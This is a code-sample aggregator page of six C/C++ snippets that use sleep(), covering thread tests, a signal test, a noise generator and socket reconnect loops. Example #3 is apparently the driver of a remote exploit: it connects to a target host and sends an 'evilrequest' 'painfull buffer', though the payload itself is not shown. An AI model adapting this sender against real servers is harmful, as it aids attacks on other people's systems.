C++ (Cpp) sleep Examples

C++ (Cpp) sleep - 30 examples found. These are the top rated real world C++ (Cpp) examples of sleep extracted from open source projects. You can rate examples to help us improve the quality of examples.
Example #1
0
int main(int argc, char **argv)
{
    tasks_init();
    events_init();

    eprintf("Giving some time for the threads to run...\n");
    sleep(2);    /* wait for both threads to run */

    eprintf("Adding task to test()\n");
    tasks_add(task_create(test, NULL));

    eprintf("Adding an event (with the test() function as the routine)\n");
    events_add(event_create(2, test, NULL));

    eprintf("Waiting a bit for the tasks to execute...\n");
    sleep(5);

    eprintf("Adding another event (with the test() function as the routine)\n");
    events_add(event_create(3, test, NULL));

    eprintf("Stopping both threads\n");
    events_stop();
    tasks_stop();

    eprintf("Done\n");
    return 0;
}
Example #2
0
vec wgn::generate(bvec ce)
{
    vec y;
    int L;

#if (DEBUG_LEVEL==3)
    cout << "***** wgn::generate *****" << endl;
    cout << "ce=" << ce << endl;
    sleep(1000);
#endif

    L=ce.length();
    y.set_size(L);
    for (int i=0; i<L; i++)
    {   if ( bool(ce[i]))
        {   y0 = sigma*randn()+ mean;  //
        }
        y[i]=y0;
    }

#if (DEBUG_LEVEL==3)
    cout << "y=" << y << endl;
    cout << "+++++ wgn::generate +++++" << endl;
    sleep(1000);
#endif

    return (y);
}
Example #3
0
int main(int argc, char *argv[]) {
    int s,n;
    unsigned int rcv;
    char *request;
    char recvbuf[256];
    banner();
    if( argc < 3)
        argv[2] = "80";
    else if ((atoi(argv[2]) < 1) || (atoi(argv[2]) > 65534))
        usage(argv[0]);
    if( (argc < 2) )
        usage(argv[0]);
    request = (char *) malloc(1024);
    printf("[+] Connecting to remote host\n");
    s = remote_connect(argv[1],atoi(argv[2]));
    sleep(1);
    printf("[+] Creating buffer\n");
    sprintf(request,BUGSTR,evilrequest);
    printf("[+] Sending %d bytes of painfull buffer\n",strlen(evilrequest));
    if ( send ( s, request, strlen (request), 0) <= 0 )
    {
        printf("[X] Failed to send buffer\n");
        close(s);
        exit(1);
    }
    sleep(1);
    printf("[+] Done, Packet Sent\n");
    close(s);
    free(request);
    request = NULL;
    return 0;
}
Example #4
0
File: 1-1.c Project: Nan619/ltp
int main(void)
{
    pthread_t new_th;

    if (pthread_create(&new_th, NULL, a_thread_func, NULL) != 0) {
        perror("Error creating thread\n");
        return PTS_UNRESOLVED;
    }

    sleep(1);

    if (pthread_kill(new_th, SIGTOTEST) != 0) {
        printf("Test UNRESOLVED: Couldn't send signal to thread\n");
        return PTS_UNRESOLVED;
    }

    sleep(1);

    if (handler_called != 1) {
        printf("Test FAILED: signal wasn't removed from signal mask\n");
        return PTS_FAIL;
    }

    printf("Test PASSED\n");
    return PTS_PASS;
}
Example #5
0
int node_recv(void *buf, int len, void *html, int maxLen)
{
    assert(buf && len && len > sizeof(URLNODE_T));

    pthread_mutex_lock(&recv_mutex);

    while (htcp_recv(recvSock, buf, len) == -1
            || htcp_recv(recvSock, html, maxLen) == -1)
    {
        sleep(1);
        close(recvSock);

        while ((recvSock =
                    htcp_connect("127.0.0.1", g_basePort + 2)) == -1)
        {
            sleep(1);
            printf("htcp_connect error.\n");
        }
        printf("htcp_connect success.\n");
    }

    pthread_mutex_unlock(&recv_mutex);

    return 0;
}
Example #6
0
int node_send(URLNODE_T * urlNode, char *url)
{
    int len;
    char *p, buf[2048];

    assert(urlNode && url);

    urlNode->urlLen = strlen(url);

    len = sizeof(URLNODE_T) + urlNode->urlLen;
    assert(len < 2048);

    memcpy(buf, urlNode, sizeof(URLNODE_T));
    memcpy(buf + sizeof(URLNODE_T), url, urlNode->urlLen);

    pthread_mutex_lock(&send_mutex);
    //printf("sending to center.............\n");
    while (htcp_send(sendSock, buf, len) == -1)
    {
        sleep(1);
        close(sendSock);

        while ((sendSock =
                    htcp_connect("127.0.0.1", g_basePort + 1)) == -1)
        {
            printf("htcp_connect error.\n");
            sleep(1);
        }
        printf("send htcp_connect success.\n");
    }
    pthread_mutex_unlock(&send_mutex);

    return 0;
}